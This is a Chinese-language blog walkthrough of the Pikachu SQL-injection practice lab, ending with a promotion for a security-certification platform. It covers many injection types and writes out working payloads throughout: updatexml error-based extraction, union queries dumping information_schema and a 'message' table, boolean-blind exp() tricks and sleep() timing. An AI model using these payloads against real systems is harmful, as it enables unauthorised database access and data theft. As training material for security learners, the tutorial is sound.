皮卡丘注入实战

皮卡丘注入实战

选择使用or 还是 and 的时候要注意都试一下  因为1’ and ‘1’=’1  因为1是存在的所以and用的时候能使条件为1 而0’ or ‘1’=’1因为0不存在只能用or使条件为1

一:数字型注入

1. 数字型注入(注:数字型注入判断/1 /0  他不需要’ ‘’ 闭合)

2. 选择一个id,然后进行抓包,放入重放

3. 因为重放包里面不好判断回显,这里我们选择hackbar 将post里面的数据放入hackbar

4. 然后1/1  1/0 看回显 发现回显不一样

/1

/0

5. 然后直接使用盲注 if()函数  if(1=1,1,0)----->if(mid(user(),1,1)='a',1,0)对a进行爆破

6. 这里也可以用报错注入 因为是字符型不用单引号闭合

1 and updatexml(1,concat(0x7e,database(),0x7e),1)=1

二:字符型注入

1. 字符型注入(注:字符型判断’‘’  需要’ ‘’ 闭合)

找到与数据库交互的参数,下面一看就是

2. 输入111 然后进行抓包 ‘  ’‘   判断是否存在注入

单引号是30970

双引号是33675

 

3. 所以这里存在注入 然后构造payload:111'+or+mid(user(),1,1)!='a   进行爆破

一步一步构造出来 1’+or+’1’=’1 poc有回显

爆破出来第一位用户名为R r

4. 因为单引号会报错,所以可以试试报错注入

1’ and updatexml(1,concat(0x7e,database(),0x7e),1)=’1

因为是字符型,所以要单引号闭合

所以可以显示出数据库名

三. 搜索型注入

1. 首先输入1 发现有数据 所以这里可以用and

判断 单引号 双引号 发现回显不一样(自己手工测试)

构造poc : 1’ and ‘1’=’1   1’ and ‘1’=’2  看看回显不一样

2.

1’ and ‘1’!=’1 回显是不一样但你能发现 1’ and ‘1’=’2 与 1’ and ‘1’=’1 回显是一样的

为什么勒?

因为查询语句可能是这样的 select * from * where id=’          and 1=99’

字符1’ and ‘1’=’1是要与后面的单引号闭合 但是他可能1后面还有语句

select * from * where id=’   1’ and ‘1’=’1       and 1=99’ 这样查看的语句就和1’ and ‘1’=’2

回显是一样的

所以这里我们用 1’ or 1=1 #  或者  1’ or ‘1’=’1’ #  回显不一样爆破数据库

1’ or 1=1 #

1’ or 1=2 #

3.爆破数据名就不爆破了,其实都一样  字符型需要闭合

这里我们试试报错注入   1' and updatexml(1,concat(0x7e,database(),0x7e),1)=1#

四. XX型注入

有点特别这里 数据库里面语句是 where id=(‘’)

1. 第一步单引号:

根据这句话就可以看出来刚刚的特别

两个单引号:回显正常Payload:  ')  union select database(),2  # 就可以判断出用户名了

2.

3. 所以为了构造sql语句,这里要闭合where id=(‘’)里面的(‘

输入’) #  相当于where id=(‘    ‘)#  ’)

闭合后里面就可以 添加sql语句 这里用联合查询

输入’) #   发现闭合 没有报错

4. 联合注入

首先’ ) order by 1  # 判断有几个字段

’ ) order by 2  # 回显正常

’ ) order by 3  # 回显不正常  说明有2个字段

然后用联合查询 ‘)  union select 1,2 # 看看里面数据发现有1 2

说明联合会对1 2 这几个数字查询  是关键数字 让他们替换成database()就可以查

‘)  union select 1,database() #

2上面的位置就显示出数据库名

然后使用sql语句查询数据库中表名

‘) union select 1,group_concat(table_name)   from information_schema.tables where table_schema=database() #

然后查表里面的字段

‘ )  union select 1,group_concat(column_name),3 from information_schema.columns where table_name="message" #

然后查询查询表里面的字段信息id content:

')  union select content,id  from message #

五. Inset/update型注入

1.点击注册 里面有注入

2. 单引号 双引号判断用户名存在注入

3. 这里可以用报错注入 字符型

1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=’1#

但是为什么1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=1 # 没有显示就很奇怪

六. Detete型注入

1. 听名字就知道,是删除存在注入

点击删除哪里存在注入

先/1 /0  发现是数字型注入  其实单引号双引号也会报错

/1页面正常

/0 页面不正常

2. 所以可以使用盲注和报错注入,盲注跟之前一样的

报错注入payload:1+or+updatexml(1,concat(0x7e,database(),0x7e),1)=1

数据库名出来了

七. http头 注入

登陆进去admin 123456 然后刷新抓包

里面有注入点

1. 首先cookie里面明文传输,admin存在注入

Admin’

Admin’’

2. 这里也是盲注,我就不多说了,和前面一样

这里也有报错注入:admin'+or+updatexml(1,concat(0x7e,database(),0x7e),1)='1

然后就可以看到数据库名

3. 其实这里还有一个地方存在注入

User-Agent:’

User-Agent:’’

4.然后这里步骤是一样,只是注入点有点离谱

八.盲注base on boolan头 注入

1.这里依旧是查询宽,不用说存在注入,主要怎么去判断

这里用到exp(709)一个计数函数超过exp(710)就会报错

‘-exp(709)-’

'-exp(710)-' 就会报错 存在回显就可能有注入

3. 构造payload:'-if(1=1,exp(999),0)-'  后面怎么爆破数据库名我就不说了,都一样

主要是判断  --是注释符 中间加函数可以被强制执行  所以用来构造payload

为什么'-if(1=1,exp(999),0)-# 不会报错是因为mysql是弱类型  -是减号会将#变成int(#)就达不到注释的作用

所以'-if(1=1,exp(999),0)#  就可以达到效果

还有'/if(1=1,exp(999),0)/'  '+if(1=1,exp(999),0)+'  为什么要这样加这个主要让数据库去计算

从而达到回显不一样的效果

4. 这里还可以用 其实’  ‘’判断注入是判断不出来的 所以每一个与数据库交互的地方都要去试一下 1’ or ‘1’=’1  有的没有报错也可能存在注入用poc:1’ or ‘1’=’1 和1’ or ‘1’=’2去看看有没有回显

1' or 1=1 limit 1 #(经验所制)

1' or 1=2 limit 1 #(经验所制)

九.盲注 时间sleep()  注入

1' or sleep(1) # 因为单引号 双引号 不能判断回显不一样 所以选择了sleep()

Payloa:

2. 这里主要是爆破里面怎么看 回显不一样

1)第一步首先线程调到最低1 因为爆破太快 反应的时间也会变多 免得干扰

2)将5 改成 1线程

3)爆破的时候,也要显示时间

以下调节时间精度

然后就可以很明显看出来是哪个数据库名第一位了

关于网教盟人才服务平台(https://cstc.cncstea.cn

网络空间安全人才综合服务平台基于《网络空间安全工程技术人才培养体系指南》、《网络空间安全人才技能认证标准》,通过理论和实践相结合的方式评估相关人才的安全技能,积极开展网教盟网安人才技能认证,并提供网安精英人才服务、网安用人单位服务、网安教育机构服务等。平台认证人员得到300+用人单位的广泛认可。

网安精英人才服务:平台可对网安人才进行网安技能认证,帮助网安精英获得权威的技能认证证书,获得证书人才将得到300+用人单位免初试技能验证环节,直通大厂复试;
网安用人单位服务:平台可帮助网安用人单位精准寻找相应网安岗位适合人才,并对用人网安人才网安技能进行全方位鉴别,缩短企业招聘成本;
网安教育机构服务:平台可为网安教育机构提供实操考核环境,并为机构培训学员能力提供权威认证。

  • 44
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值